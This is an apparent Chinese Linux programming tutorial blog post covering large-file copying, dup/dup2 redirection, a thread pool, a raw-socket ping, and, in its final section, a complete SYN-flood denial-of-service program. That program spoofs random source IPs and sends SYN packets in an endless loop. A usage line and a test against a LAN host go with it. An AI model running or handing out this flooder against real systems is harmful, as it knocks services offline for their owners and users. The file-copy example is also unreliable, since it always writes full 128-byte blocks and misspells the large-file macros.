Linux开发(十四):Linux拓展应用

目录

一、POSIX 实现2G文件复制

二、重定向编程

1、dup实现

2、dup2实现

三、线程池实现 

四、ping功能实现

五、原始套接字实现DOS攻击


一、POSIX 实现2G文件复制

想要实现2G大文件复制操作,必须需要系统的支持,因此,在头文件声明前,需要先定义宏 _LARGEFILE_SOURCE、LARGEFILE64_SOURCE、FILE_OFFSET_BITS或者在编译时,加入以下编译项: -D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64 ,这样,open()函数就支持该文件的打开了,然后再使用off64_t存储文件的大小,具体实现如下:

#define _LARGEFILE_SOURCE 
#define LARGEFILE64_SOURCE
#define FILE_OFFSET_BITS  64

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <fcntl.h>

int main(int argc,char* argv[])
{
	int fd_src = -1;
	int fd_des = -1;
	char buf[128] = {0};
	int num = 0;

	if(argc != 3)
	{
		printf("intput param error,must be :cp file_src file_des!\n");
		return 0;
	}
	
	fd_src = open(argv[1],O_RDONLY);
	if(fd_src < 0)
	{
		perror("open src");
		return 0;
	}
	
	fd_des = open(argv[2],O_CREAT|O_WRONLY,0644);
	if(fd_des < 0)
	{
		perror("open des");
		close(fd_src );
		return 0;
	}
	
	do
	{
		memset(buf,0,128);
		num =read(fd_src,buf,128);
		write(fd_des,buf,128);
	}while(num == 128);
	
	close(fd_src);
	close(fd_des);
	return 0;
}

二、重定向编程

借助dup()及dup2()函数可以轻易实现Linux的标准输入输出重定向功能。其原理也很简单:关闭标准的输入输出设备(0、1、2),然后借助dup()及dup2()函数p打开或复制某普通文件,并使其文件描述符为0、1、2。

1、dup实现

dup()就是将已打开的文件描述符fd,重新寻找一个最小的非负的文件描述符,它将与这个寻找到的文件描述符共享一个文件表项(拥有相同的文件权限、读写位置等),所以在调用dup重定向时,需要先将想重定向的文件描述符关闭。

示例代码:

以下简单实现标准输出重定向到文件test.txt的功能。

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h> 

int main()
{
	int fd = 0;
	int flags =0;

	fd = open("test.txt",O_CREAT|O_RDWR,0755);
	printf("fd =%d\n",fd);
	close(fileno(stdout));

	flags = dup(fd);
	printf("ffd=%d,flags=%d\n",fd,flags);
	return 0;
	
}

运行结果为:

这里写图片描述

可以看出重定向之前,标准输出是显示在终端上的,重定向之后的输出全部重定向到文件上了,且原先的文件描述符并没有变化,只是修改了标准输出的文件指针指向,dup()的返回值为寻找到的最小文件描述符。

2、dup2实现

dup2()函数的作用与dup()相同,使用上也基本一样,但dup2()可以指定重定向的文件描述符,且不用关闭它,将上面代码做一个简单修改,即可实现。

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h> 

int main()
{
	int fd = 0;
	int flags =0;

	fd = open("test.txt",O_CREAT|O_RDWR,0755);
	printf("fd =%d\n",fd);
	//close(fileno(stdout));

	flags = dup2(fd,fileno(stdout));
	printf("ffd=%d,flags=%d\n",fd,flags);
	
	return 0;
	
}

运行结果为:

这里写图片描述

三、线程池实现 

多线程技术主要解决处理器单元内多个线程执行的问题,它可以显著减少处理器单元的闲置时间,增加处理器单元的吞吐能力。
我们假设T1 为创建线程时间,T2 为在线程中执行任务的时间,T3 为销毁线程时间。

线程池技术正是关注如何缩短或调整T1,T3时间的技术,从而提高服务器程序性能的。它把T1,T3分别安排在服务器程序的启动和结束的时间段或者一些空闲的时间段,这样在服务器程序处理客户请求时,不会有T1,T3的开销了。
如果T1 + T3 远大于 T2,则可以采用线程池,以提高服务器性能。
一个线程池包括以下四个基本组成部分:

  1. 线程池管理器(ThreadPool):用于创建并管理线程池,包括 创建线程池,销毁线程池,添加新任务;
  2. 工作线程(PoolWorker):线程池中线程,在没有任务时处于等待状态,可以循环的执行任务;
  3. 任务接口(Task):每个任务必须实现的接口,以供工作线程调度任务的执行,它主要规定了任务的入口,任务执行完后的收尾工作,任务的执行状态等;
  4. 任务队列(taskQueue):用于存放没有处理的任务。提供一种缓冲机制。

示例代码:

#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <time.h>
#include <stdio.h>
#include <assert.h>
struct job
{
    void* (*callback_function)(void *arg);    //线程回调函数
    void *arg;                                //回调函数参数
    struct job *next;
};

struct threadpool
{
    int thread_num;                   //线程池中开启线程的个数
    int queue_max_num;                //队列中最大job的个数
    struct job *head;                 //指向job的头指针
    struct job *tail;                 //指向job的尾指针
    pthread_t *pthreads;              //线程池中所有线程的pthread_t
    pthread_mutex_t mutex;            //互斥信号量
    pthread_cond_t queue_empty;       //队列为空的条件变量
    pthread_cond_t queue_not_empty;   //队列不为空的条件变量
    pthread_cond_t queue_not_full;    //队列不为满的条件变量
    int queue_cur_num;                //队列当前的job个数
    int queue_close;                  //队列是否已经关闭
    int pool_close;                   //线程池是否已经关闭
};

void* threadpool_function(void* arg);

struct threadpool* threadpool_init(int thread_num, int queue_max_num)
{
    struct threadpool *pool = NULL;
    do 
    {
        pool = malloc(sizeof(struct threadpool));
        if (NULL == pool)
        {
            printf("failed to malloc threadpool!\n");
            break;
        }
        pool->thread_num = thread_num;
        pool->queue_max_num = queue_max_num;
        pool->queue_cur_num = 0;
        pool->head = NULL;
        pool->tail = NULL;
        if (pthread_mutex_init(&(pool->mutex), NULL))
        {
            printf("failed to init mutex!\n");
            break;
        }
        if (pthread_cond_init(&(pool->queue_empty), NULL))
        {
            printf("failed to init queue_empty!\n");
            break;
        }
        if (pthread_cond_init(&(pool->queue_not_empty), NULL))
        {
            printf("failed to init queue_not_empty!\n");
            break;
        }
        if (pthread_cond_init(&(pool->queue_not_full), NULL))
        {
            printf("failed to init queue_not_full!\n");
            break;
        }
        pool->pthreads = malloc(sizeof(pthread_t) * thread_num);
        if (NULL == pool->pthreads)
        {
            printf("failed to malloc pthreads!\n");
            break;
        }
        pool->queue_close = 0;
        pool->pool_close = 0;
        int i;
        for (i = 0; i < pool->thread_num; ++i)
        {
            pthread_create(&(pool->pthreads[i]), NULL, threadpool_function, (void *)pool);
        }
        
        return pool;    
    } while (0);
    
    return NULL;
}

int threadpool_add_job(struct threadpool* pool, void* (*callback_function)(void *arg), void *arg)
{
    assert(pool != NULL);
    assert(callback_function != NULL);
    assert(arg != NULL);

    pthread_mutex_lock(&(pool->mutex));
    while ((pool->queue_cur_num == pool->queue_max_num) && !(pool->queue_close || pool->pool_close))
    {
        pthread_cond_wait(&(pool->queue_not_full), &(pool->mutex));   //队列满的时候就等待
    }
    if (pool->queue_close || pool->pool_close)    //队列关闭或者线程池关闭就退出
    {
        pthread_mutex_unlock(&(pool->mutex));
        return -1;
    }
    struct job *pjob =(struct job*) malloc(sizeof(struct job));
    if (NULL == pjob)
    {
        pthread_mutex_unlock(&(pool->mutex));
        return -1;
    } 
    pjob->callback_function = callback_function;    
    pjob->arg = arg;
    pjob->next = NULL;
    if (pool->head == NULL)   
    {
        pool->head = pool->tail = pjob;
        pthread_cond_broadcast(&(pool->queue_not_empty));  //队列空的时候,有任务来时就通知线程池中的线程:队列非空
    }
    else
    {
        pool->tail->next = pjob;
        pool->tail = pjob;    
    }
    pool->queue_cur_num++;
    pthread_mutex_unlock(&(pool->mutex));
    return 0;
}

void* threadpool_function(void* arg)
{
    struct threadpool *pool = (struct threadpool*)arg;
    struct job *pjob = NULL;
    while (1)  //死循环
    {
		
        pthread_mutex_lock(&(pool->mutex));
        while ((pool->queue_cur_num == 0) && !pool->pool_close)   //队列为空时,就等待队列非空
        {
            pthread_cond_wait(&(pool->queue_not_empty), &(pool->mutex));
        }
        if (pool->pool_close)   //线程池关闭,线程就退出
        {
            pthread_mutex_unlock(&(pool->mutex));
            pthread_exit(NULL);
        }
        pool->queue_cur_num--;
        pjob = pool->head;
        if (pool->queue_cur_num == 0)
        {
            pool->head = pool->tail = NULL;
        }
        else 
        {
            pool->head = pjob->next;
        }
        if (pool->queue_cur_num == 0)
        {
            pthread_cond_signal(&(pool->queue_empty));        //队列为空,就可以通知threadpool_destroy函数,销毁线程函数
        }
        if (pool->queue_cur_num == pool->queue_max_num - 1)
        {
            pthread_cond_broadcast(&(pool->queue_not_full));  //队列非满,就可以通知threadpool_add_job函数,添加新任务
        }
        pthread_mutex_unlock(&(pool->mutex));
        
        (*(pjob->callback_function))(pjob->arg);   //线程真正要做的工作,回调函数的调用
        free(pjob);
        pjob = NULL;    
		
    }
}
int threadpool_destroy(struct threadpool *pool)
{
    assert(pool != NULL);
    pthread_mutex_lock(&(pool->mutex));
    if (pool->queue_close || pool->pool_close)   //线程池已经退出了,就直接返回
    {
        pthread_mutex_unlock(&(pool->mutex));
        return -1;
    }
    
    pool->queue_close = 1;        //置队列关闭标志
    while (pool->queue_cur_num != 0)
    {
        pthread_cond_wait(&(pool->queue_empty), &(pool->mutex));  //等待队列为空
    }    
    
    pool->pool_close = 1;      //置线程池关闭标志
    pthread_mutex_unlock(&(pool->mutex));
    pthread_cond_broadcast(&(pool->queue_not_empty));  //唤醒线程池中正在阻塞的线程
    pthread_cond_broadcast(&(pool->queue_not_full));   //唤醒添加任务的threadpool_add_job函数
    int i;
    for (i = 0; i < pool->thread_num; ++i)
    {
        pthread_join(pool->pthreads[i], NULL);    //等待线程池的所有线程执行完毕
    }
    
    pthread_mutex_destroy(&(pool->mutex));          //清理资源
    pthread_cond_destroy(&(pool->queue_empty));
    pthread_cond_destroy(&(pool->queue_not_empty));   
    pthread_cond_destroy(&(pool->queue_not_full));    
    free(pool->pthreads);
    struct job *p;
    while (pool->head != NULL)
    {
        p = pool->head;
        pool->head = p->next;
        free(p);
    }
    free(pool);
    return 0;
}
void* work(void* arg)
{
    char *p = (char*) arg;
    printf("threadpool callback fuction : %s.\n", p);
    sleep(3);
}

int main(void)
{
    struct threadpool *pool = threadpool_init(10, 20);
    threadpool_add_job(pool, work, "1");
    threadpool_add_job(pool, work, "2");
    threadpool_add_job(pool, work, "3");
    threadpool_add_job(pool, work, "4");
    threadpool_add_job(pool, work, "5");
    threadpool_add_job(pool, work, "6");
    threadpool_add_job(pool, work, "7");
    threadpool_add_job(pool, work, "8");
    threadpool_add_job(pool, work, "9");
    threadpool_add_job(pool, work, "10");
    threadpool_add_job(pool, work, "11");
    threadpool_add_job(pool, work, "12");
    threadpool_add_job(pool, work, "13");
    threadpool_add_job(pool, work, "14");
    threadpool_add_job(pool, work, "15");
    threadpool_add_job(pool, work, "16");
    threadpool_add_job(pool, work, "17");
    threadpool_add_job(pool, work, "18");
    threadpool_add_job(pool, work, "19");
    threadpool_add_job(pool, work, "20");
    threadpool_add_job(pool, work, "21");
    threadpool_add_job(pool, work, "22");
    threadpool_add_job(pool, work, "23");
    threadpool_add_job(pool, work, "24");
    threadpool_add_job(pool, work, "25");
    threadpool_add_job(pool, work, "26");
    threadpool_add_job(pool, work, "27");
    threadpool_add_job(pool, work, "28");
    threadpool_add_job(pool, work, "29");
    threadpool_add_job(pool, work, "30");
    threadpool_add_job(pool, work, "31");
    threadpool_add_job(pool, work, "32");
    threadpool_add_job(pool, work, "33");
    threadpool_add_job(pool, work, "34");
    threadpool_add_job(pool, work, "35");
    threadpool_add_job(pool, work, "36");
    threadpool_add_job(pool, work, "37");
    threadpool_add_job(pool, work, "38");
    threadpool_add_job(pool, work, "39");
    threadpool_add_job(pool, work, "40");

    sleep(5);
    threadpool_destroy(pool);
    return 0;
}

四、ping功能实现

ping功能的通过ICMP协议实现的,它是TCP/IP簇在网络层提供的差错检测和简单查询的功能,常用来检测某台主机是否处于活跃状态,并且活跃的主机在收到该探测信号时,会回复响应的数据包。

注意:原始套接字只能由root用户创建。

示例代码:

#include <stdio.h> 
#include <stdlib.h>
#include <string.h> 
#include <signal.h> 
#include <arpa/inet.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <unistd.h> 
#include <netinet/in.h> 
#include <netinet/ip.h> 
#include <netinet/ip_icmp.h> 
#include <netdb.h> 
#include <setjmp.h> 
#include <errno.h> 

#define PACKET_SIZE 4096 
#define MAX_WAIT_TIME 5   //接收超时5秒
#define MAX_NO_PACKETS 3 

char sendpacket[PACKET_SIZE]; 
char recvpacket[PACKET_SIZE]; 
int sockfd,datalen=56; 
int nsend=0,nreceived=0; 
struct sockaddr_in dest_addr; //定义网络地址结构
pid_t pid; 
struct sockaddr_in from; 
struct timeval tvrecv; 

void statistics(int signo);  //统计
unsigned short cal_chksum(unsigned short *addr,int len);  //对icmp包进行校验
int pack(int pack_no);  //填充icmp报文
void send_packet(void);  //发送icmp包
void recv_packet(void);  //接收icmp包
int unpack(char *buf,int len);  //解析收到的icmp包
void tv_sub(struct timeval *out,struct timeval *in);  //计算时间差

void statistics(int signo) 
{ 
   printf("\n--------------------PING statistics-------------------\n"); 
   printf("%d packets transmitted, %d received , %%%.2f lost\n",nsend,nreceived,(float)(nsend-nreceived)/nsend*100); 
   close(sockfd); 
   exit(1); 
} 
/*校验和算法*/ 
unsigned short cal_chksum(unsigned short *addr,int len) 
{ 
   int nleft=len; 
   int sum=0; 
   unsigned short *w=addr; 
   unsigned short answer=0; 

   /*把ICMP报头二进制数据以2字节为单位累加起来*/ 
   while(nleft>1) 
   { 
     sum+=*w++; 
     nleft-=2; 
   } 
   /*若ICMP报头为奇数个字节,会剩下最后一字节。把最后一个字节视为一个2字节数据的高字节, 
   这个2字节数据的低字节为0,继续累加*/ 
   if( nleft==1) 
   { 
       *(unsigned char *)(&answer)=*(unsigned char *)w; 
       sum+=answer; 
   } 
   sum=(sum>>16)+(sum&0xffff); 
   sum+=(sum>>16); 
   answer=~sum; 
   return answer; 
} 
/*设置ICMP报头*/ 
int pack(int pack_no) 
{ 
    int i,packsize; 
    struct icmp *icmp; 
    struct timeval *tval; 
    icmp=(struct icmp*)sendpacket; 
    icmp->icmp_type=ICMP_ECHO; //ping时,icmp的协议类型是ICMP_ECHO
    icmp->icmp_code=0; 
    icmp->icmp_seq=pack_no;  //报文编号
    icmp->icmp_id=pid;  //发送报文的进程号
    packsize=8+datalen;   //8为icmp报文头的长度
    tval= (struct timeval *)icmp->icmp_data; //tval指向icmp报文的数据区
    gettimeofday(tval,NULL); /*记录发送时间*/ //在数据区填写报文的发送时间
    icmp->icmp_cksum=cal_chksum( (unsigned short *)icmp,packsize); /*校验算法*/ 
    return packsize; 
} 

/*发送1个ICMP报文*/ 
void send_packet() 
{ 
	int packetsize; 
	nsend++; 
	packetsize = pack(nsend); /*设置ICMP报头*/ 
	if(sendto(sockfd,sendpacket,packetsize,0,(struct sockaddr *)&dest_addr,sizeof(dest_addr))<0 ) 
	{ 
		perror("sendto error"); 
		exit(-1);
	} 

	return;
} 

/*接收所有ICMP报文*/ 
void recv_packet() 
{ 
     int n,fromlen; 
     extern int errno; 
     signal(SIGALRM,statistics); 
     fromlen=sizeof(from); 
     while(1)
     { 
       alarm(MAX_WAIT_TIME); //设置闹钟5s
       if( (n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(struct sockaddr *)&from,&fromlen)) <0) 
       { 
           if(errno==EINTR)
		   {
			  perror("recvfrom error"); 
			  continue; 
		   }
       } 
       gettimeofday(&tvrecv,NULL);   /*记录接收时间*/ 
       if(unpack(recvpacket,n)==-1)   /*收到的包不是ICMP包,继续接收*/
	   {
		   continue; 
       }
	   else                          /*收到回应包,结束循环*/
	   {
		   nreceived++; 
		   break;
	   }
    }

} 
/*剥去ICMP报头*/ 
int unpack(char *buf,int len) 
{ 
    int i,iphdrlen; 
    struct ip *ip; 
    struct icmp *icmp; 
    struct timeval *tvsend; 
    double rtt; 
    ip=(struct ip *)buf; 
	
    iphdrlen=ip->ip_hl<<2; 				/*求ip报头长度,即ip报头的长度标志乘4*/ 
    icmp=(struct icmp *)(buf+iphdrlen); /*越过ip报头,指向ICMP报头*/ 
    len-=iphdrlen; 						/*ICMP报头及ICMP数据报的总长度*/ 
    
	if(len<8) 							/*小于ICMP报头长度则不合理*/ 
    { 
      printf("ICMP packets\'s length is less than 8\n"); 
      return -1; 
    } 

    /*确保所接收的是我所发的的ICMP的回应*/ 
    if( (icmp->icmp_type==ICMP_ECHOREPLY) && (icmp->icmp_id==pid) ) 
    { 
        tvsend=(struct timeval *)icmp->icmp_data; 
        tv_sub(&tvrecv,tvsend); /*接收和发送的时间差*/ 
        rtt=tvrecv.tv_sec*1000+tvrecv.tv_usec/1000.0; /*以毫秒为单位计算rtt*/ 
        /*显示相关信息*/ 
        printf("%d byte from %s: icmp_seq=%u ttl=%d rtt=%.3f ms\n", 
        len,inet_ntoa(from.sin_addr),icmp->icmp_seq,ip->ip_ttl,rtt); 
		return 0;
    } 
    else 
	{
		return -1; 

	}
	
}

int main(int argc,char *argv[]) 
{ 
    struct hostent *host; 
    struct protoent *protocol; 
    unsigned long inaddr=0l; 
    int waittime=MAX_WAIT_TIME;   //接收超时
    int size=50*1024; 

    if(argc<2)   //参数检查
    { 
       printf("usage:%s hostname/IP address\n",argv[0]); 
       exit(1); 
    } 

    if( (protocol=getprotobyname("icmp") )==NULL)   //获得icmp协议的属性,如果出错,说明不支持icmp协议
    { 
        perror("getprotobyname"); 
        exit(1); 
    } 
    /*生成使用ICMP的原始套接字,这种套接字只有root才能生成*/ 
    if( (sockfd=socket(AF_INET,SOCK_RAW,protocol->p_proto) )<0) 
    { 
        perror("socket error"); 
        exit(1); 
    } 
    /* 回收root权限,设置当前用户权限*/ 
    setuid(getuid()); //getuid获取当前进程的实际用户,setuid设置当前进程的有效用户
	
    /*扩大套接字接收缓冲区到50K这样做主要为了减小接收缓冲区溢出的 
    的可能性,若无意中ping一个广播地址或多播地址,将会引来大量应答*/ 
    setsockopt(sockfd,SOL_SOCKET,SO_RCVBUF,&size,sizeof(size) ); //修改套接字属性
    bzero(&dest_addr,sizeof(dest_addr)); 
    dest_addr.sin_family=AF_INET; //ping采用的是网络协议
	

    /*判断是主机名还是ip地址*/ 
    if((inaddr=inet_addr(argv[1]))==INADDR_NONE) 
    { 
        if((host=gethostbyname(argv[1]) )==NULL) /*是主机名*/ 
        { 
           perror("gethostbyname error"); 
           exit(1); 
        } 
        memcpy( (char *)&dest_addr.sin_addr.s_addr,host->h_addr,host->h_length); 
        printf("PING %s (%s): %d bytes data in ICMP packets.\n",host->h_name, 
            inet_ntoa(dest_addr.sin_addr),datalen); 
    } 
    else /*是ip地址*/ 
    {
        memcpy( (char *)&dest_addr.sin_addr.s_addr,(char *)&inaddr,sizeof(inaddr)); 

        printf("PING %s (%s): %d bytes data in ICMP packets.\n",argv[1], 
            inet_ntoa(dest_addr.sin_addr),datalen); 
    }
    /*获取main的进程id,用于设置ICMP的标志符*/ 
    pid=getpid(); 
    signal(SIGINT, statistics);//捕获SIGINT信号,交由statistics函数处理
    while(1)
    {
        send_packet(); /*发送所有ICMP报文*/ 
        recv_packet(); /*接收所有ICMP报文*/ 
        sleep(1);
    }

    return 0; 

} 
/*两个timeval结构相减*/ 
void tv_sub(struct timeval *out,struct timeval *in) 
{ 
     if( (out->tv_usec-=in->tv_usec)<0) 
     { 
         --out->tv_sec; 
         out->tv_usec+=1000000; 
     } 
     out->tv_sec-=in->tv_sec; 
} 

五、原始套接字实现DOS攻击

DOS攻击的实现原理是:使用程序恶意去破坏TCP的三次握手,并不断向目标主机发送一个基于TCP的数据包,且该数据包是SYN类型,数据包中的源IP地址为一个随机IP地址,这将导致目标主机收到SYN包之后,一直无法完成3次握手,从而导致系统资源的浪费。
示例代码:

#include <errno.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <time.h>
#include <stdio.h>

 unsigned short check_sum(unsigned short* addr,int len)
 {
	 register int nleft =len;
	 register int sum = 0;
	 register short *w=addr;
	 short answer = 0;
	 while(nleft>1)
	 {
		 sum+=*w++;
		 nleft-=2;
	 }
	 
	 if(nleft == 1)
	 {
		 *(unsigned char*)(&answer)=*(unsigned char*)w;
		 sum+=answer;
	 }
	 
	 sum = (sum>>16)+(sum&0xffff);
	 sum+=(sum>>16);
	 answer = ~sum;
	 return answer;
	 
 }
void send_data(int sockfd,struct sockaddr_in * addr,int port)
{
	char buf[1024];
	struct iphdr* ip;
	struct tcphdr* tcp;
	int head_len;
	
	head_len = sizeof(struct iphdr)+sizeof(struct tcphdr);  /*SYN包不包含用户数据,即获取整个数据包长度*/
	memset(buf,0,sizeof(buf));
	
	ip = (struct iphdr*)buf;
	ip->version = IPVERSION;              /*IP版本*/                 
	ip->ihl = sizeof(struct ip)>>2;       /*IP包头长度*/
	ip->tos=0;                            /*服务类型*/
	ip->tot_len = htons(head_len);        /*IP数据包长度*/
	ip->id =0;                            
	ip->frag_off = 0;       
	ip->ttl = MAXTTL;                     /*TTL时间*/
	ip->protocol = IPPROTO_TCP;           /*协议为TCP*/
	ip->check = 0;                        /*检验和,后面赋值*/
	ip->daddr = addr->sin_addr.s_addr;    /*目标主机IP*/
	
	tcp = (struct tcphdr*)(buf+sizeof(struct ip));
	tcp->source = htons(port);            /*本地发送端端口*/  
	tcp->dest = addr->sin_port;			  /*目标主机端口*/  
	tcp->seq= random();                   /*随机的序列号,打破三次捂手*/  
	tcp->ack_seq = 0;                     /*不回应ack*/ 
	tcp->doff = 5;			
	tcp->syn=1;							   /*数据类型为SYN请求*/ 				
	while(1)
	{
		ip->saddr = random();              /*计算校验和*/
		tcp->check = check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
		sendto(sockfd,buf,head_len,0,(struct sockaddr*)addr,(socklen_t)sizeof(struct sockaddr_in));
	
	}
	
}

/*
程序运行需要传入3个参数,分别为目标主机的IP地址或域名,目标主机的端口号,本机发送端端口号
例如:./a.out 192.168.103.108  8000  8888
*/
int main(int argc,char* argv[])
{
	int sockfd = 0;
	int port = 0;
	struct sockaddr_in addr;
	struct hostent* host;
	int on = 1;
	if(argc != 4)
	{
		printf("input err!ag:./a.out 192.168.103.108  8000  8888\n");
		exit(1);
	}
	
	memset(&addr,0,sizeof(struct sockaddr_in));
	
	addr.sin_family = AF_INET;                      /*IPV4协议*/
	if(inet_aton(argv[1],&addr.sin_addr) == 0)      /*获取IP地址的主机名,攻击使用第一个IP*/
	{
		host = gethostbyname(argv[1]);
		if(NULL == host)
		{
			printf("gethostbyname fail!\n");
			exit(1);
		}
		addr.sin_addr = *(struct in_addr*)(host->h_addr_list[0]);
	}
	
	port = atoi(argv[2]);
	addr.sin_port = htons(port);
	sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP);   /*创建基于TCP的原始套接字*/
	if(sockfd < 0)
	{
		printf("socker fail!\n");
		return -1;
	}
	
	setsockopt(sockfd,IPPROTO_TCP,IP_HDRINCL,&on,sizeof(on));/*设置套接字的属性为自己构建IP头*/
	
	port = atoi(argv[3]);
	send_data(sockfd,&addr,port);                            /*发送SYN包*/
	
	
	return 0;
}

若想验证结果,可使用 Wireshark进行抓包即可!我是使用虚拟机(192.168.103.128)攻击主机(192.168.103.108)的,从图中可以看到,主机收到了很多SYN包。

这里写图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Chiang木

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值